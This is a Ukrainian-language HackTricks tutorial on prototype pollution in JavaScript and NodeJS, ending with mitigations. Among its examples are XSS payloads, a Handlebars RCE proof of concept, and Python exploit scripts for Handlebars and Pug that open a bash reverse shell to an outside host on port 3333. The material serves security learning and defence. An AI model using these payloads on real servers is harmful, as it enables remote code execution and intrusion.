NodeJS - __proto__ & prototype Pollution

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Об'єкти в JavaScript

Об'єкти в JavaScript суттєво є колекціями пар ключ-значення, відомих як властивості. Об'єкт можна створити за допомогою Object.create з null як аргументом, щоб створити порожній об'єкт. Цей метод дозволяє створювати об'єкт без успадкованих властивостей.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Порожній об'єкт подібний до порожнього словника, який представлений як {}.

Функції та Класи в JavaScript

У JavaScript класи та функції тісно пов'язані, причому функції часто виступають у ролі конструкторів для класів. Незважаючи на відсутність вбудованої підтримки класів у JavaScript, конструктори можуть емулювати поведінку класу.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Прототипи в JavaScript

JavaScript дозволяє змінювати, додавати або видаляти атрибути прототипу під час виконання. Ця гнучкість дозволяє динамічно розширювати функціонал класу.

Функції, такі як toString та valueOf, можуть бути змінені для зміни їхньої поведінки, демонструючи адаптивну природу прототипної системи JavaScript.

Наслідування

У прототипному програмуванні властивості/методи успадковуються об'єктами від класів. Ці класи створюються шляхом додавання властивостей/методів або до екземпляра іншого класу, або до порожнього об'єкта.

Слід зауважити, що коли властивість додається до об'єкта, який служить прототипом для інших об'єктів (наприклад, myPersonObj), успадковані об'єкти отримують доступ до цієї нової властивості. Однак ця властивість не відображається автоматично, якщо її не викликати явно.

Забруднення __proto__

Дослідження забруднення прототипу в JavaScript

Об'єкти JavaScript визначаються пар ключ-значення та успадковуються від прототипу об'єкта JavaScript. Це означає, що зміна прототипу Object може вплинути на всі об'єкти в середовищі.

Давайте скористаємося іншим прикладом для пояснення:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Доступ до прототипу об'єкта можливий через:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Додавши властивості до прототипу Object, кожен об'єкт JavaScript успадкує ці нові властивості:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

забруднення прототипу

Для сценарію, де використання __proto__ обмежено, зміна прототипу функції є альтернативою:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Це впливає лише на об'єкти, створені з конструктора Vehicle, надаючи їм властивості beep, hasWheels, honk та isElectric.

Два методи глобального впливу на об'єкти JavaScript через забруднення прототипу включають:

  1. Забруднення прямо Object.prototype:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Забруднення прототипу конструктора для широко використовуваної структури:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Після цих операцій кожен об'єкт JavaScript може виконувати методи goodbye та greet.

Забруднення інших об'єктів

Від класу до Object.prototype

У сценарії, де ви можете забруднити конкретний об'єкт і вам потрібно дістатися до Object.prototype, ви можете знайти його за допомогою наступного коду:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Забруднення елементів масиву

Зверніть увагу, що так як ви можете забруднювати атрибути об'єктів в JS, якщо у вас є доступ до забруднення масиву, ви також можете забруднювати значення масиву, доступні за індексами (зверніть увагу, що ви не можете перезаписати значення, тому вам потрібно забруднювати індекси, які якось використовуються, але не записуються).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Забруднення елементів Html

При генерації елемента HTML через JS можна перезаписати атрибут innerHTML, щоб він записав довільний HTML-код. Ідея та приклад з цього опису.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Приклади

Базовий Приклад

Забруднення прототипу відбувається через вразливість програми, яка дозволяє перезаписувати властивості в Object.prototype. Це означає, що оскільки більшість об'єктів походять від Object.prototype

Найпростіший приклад - додати значення до невизначеного атрибуту об'єкта, який буде перевірений, наприклад:

if (user.admin) {

Якщо атрибут admin не визначено, можна скористатися PP та встановити його на True за допомогою наступного:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Механізм полягає в маніпулюванні властивостями так, що якщо зловмисник має контроль над певними вхідними даними, він може змінити прототип всіх об'єктів у додатку. Ця маніпуляція зазвичай включає встановлення властивості __proto__, яка в JavaScript є синонімом прямого змінення прототипу об'єкта.

Умови, за яких цей атака може бути успішно виконана, як описано в конкретному дослідженні, включають:

  • Виконання рекурсивного злиття.

  • Визначення властивостей на основі шляху.

  • Клонування об'єктів.

Перевизначення функції

customer.__proto__.toString = ()=>{alert("polluted")}

Прото-забруднення до RCE

pagePrototype Pollution to RCE

Прото-забруднення на клієнтській стороні до XSS

pageClient Side Prototype Pollution

CVE-2019–11358: Атака прототипного забруднення через jQuery $ .extend

Для отримання додаткових відомостей перегляньте цю статтю У jQuery функція $ .extend може призвести до прототипного забруднення, якщо функцію глибокого копіювання використовується неправильно. Ця функція часто використовується для клонування об'єктів або об'єднання властивостей з об'єкта за замовчуванням. Однак, при неправильній конфігурації властивості, призначені для нового об'єкта, можуть бути призначені прототипу замість цього. Наприклад:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Ця вразливість, ідентифікована як CVE-2019–11358, показує, як глибока копія може ненавмисно змінити прототип, що призводить до потенційних загроз безпеці, таких як несанкціонований доступ адміністратора, якщо властивості, наприклад isAdmin, перевіряються без належної перевірки існування.

CVE-2018–3721, CVE-2019–10744: Атака забруднення прототипу через lodash

Для отримання додаткових відомостей перегляньте цю статтю

Lodash стикався з подібними вразливостями забруднення прототипу (CVE-2018–3721, CVE-2019–10744). Ці проблеми були вирішені у версії 4.17.11.

Інший посібник з CVE

Інструменти для виявлення забруднення прототипу

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Розширення Burp Suite, призначене для виявлення та аналізу вразливостей забруднення прототипу на серверному боці у веб-додатках. Цей інструмент автоматизує процес сканування запитів для виявлення потенційних проблем забруднення прототипу. Він використовує відомі гаджети - методи використання забруднення прототипу для виконання шкідливих дій - зокрема зосереджуючись на бібліотеках Node.js.

  • server-side-prototype-pollution: Це розширення ідентифікує вразливості забруднення прототипу на серверному боці. Воно використовує техніки, описані в забрудненні прототипу на серверному боці.

Забруднення прототипу AST в NodeJS

NodeJS широко використовує Абстрактні Синтаксичні Дерева (AST) в JavaScript для функцій, таких як шаблонні двигуни та TypeScript. Цей розділ досліджує вразливості, пов'язані з забрудненням прототипу в шаблонних двигунах, зокрема Handlebars та Pug.

Аналіз вразливості Handlebars

Шаблонний двигун Handlebars піддається атакам забруднення прототипу. Ця вразливість виникає з конкретних функцій у файлі javascript-compiler.js. Функція appendContent, наприклад, конкатенує pendingContent, якщо воно присутнє, тоді як функція pushSource скидає pendingContent на undefined після додавання джерела.

Процес експлуатації

Експлуатація використовує AST (Абстрактне Синтаксичне Дерево), створене Handlebars, слідуючи цими кроками:

  1. Маніпулювання Парсером: Спочатку парсер, через вузол NumberLiteral, забезпечує, що значення є числовими. Забруднення прототипу може обійти це, дозволяючи вставляти нечислові рядки.

  2. Обробка Компілятором: Компілятор може обробляти об'єкт AST або рядковий шаблон. Якщо input.type дорівнює Program, вхід вважається попередньо розібраним, що може бути експлуатовано.

  3. Впровадження Коду: Шляхом маніпулювання Object.prototype можна впровадити довільний код у функцію шаблону, що може призвести до виконання віддаленого коду.

Приклад, що демонструє експлуатацію вразливості Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Цей код показує, як зловмисник може впровадити довільний код у шаблон Handlebars.

Зовнішнє посилання: Проблема, пов'язана з забрудненням прототипу, була виявлена в бібліотеці 'flat', як описано тут: Проблема на GitHub.

Зовнішнє посилання: Проблема, пов'язана з забрудненням прототипу в бібліотеці 'flat'

Приклад експлойтування забруднення прототипу в Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Уразливість Pug

Pug, ще один шаблонний двигун, стикається з аналогічним ризиком забруднення прототипу. Детальна інформація доступна у обговоренні на AST Injection in Pug.

Приклад забруднення прототипу в Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Запобіжні заходи

Для зменшення ризику забруднення прототипу можна використовувати такі стратегії:

  1. Незмінність об'єктів: Object.prototype можна зробити незмінним, застосувавши Object.freeze.

  2. Валідація введення: JSON-введення повинно бути ретельно перевірене на відповідність схемі додатка.

  3. Безпечні функції злиття: Небезпечне використання рекурсивних функцій злиття слід уникати.

  4. Об'єкти без прототипів: Об'єкти без властивостей прототипу можна створити за допомогою Object.create(null).

  5. Використання Map: Замість Object слід використовувати Map для зберігання пар ключ-значення.

  6. Оновлення бібліотек: Патчі безпеки можна внести, регулярно оновлюючи бібліотеки.

  7. Інструменти лінтера та статичного аналізу: Використовуйте інструменти, такі як ESLint з відповідними плагінами, для виявлення та запобігання вразливостям забруднення прототипу.

  8. Перегляди коду: Здійснюйте ретельні перегляди коду для виявлення та усунення потенційних ризиків, пов'язаних із забрудненням прототипу.

  9. Навчання з безпеки: Навчайте розробників про ризики забруднення прототипу та найкращі практики написання безпечного коду.

  10. Обережне використання бібліотек: Будьте обережні при використанні сторонніх бібліотек. Оцінюйте їх безпековий стан та переглядайте їх код, особливо ті, що маніпулюють об'єктами.

  11. Захист під час виконання: Використовуйте механізми захисту під час виконання, такі як використання пакетів npm, спрямованих на безпеку, які можуть виявляти та запобігати атакам забруднення прототипу.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated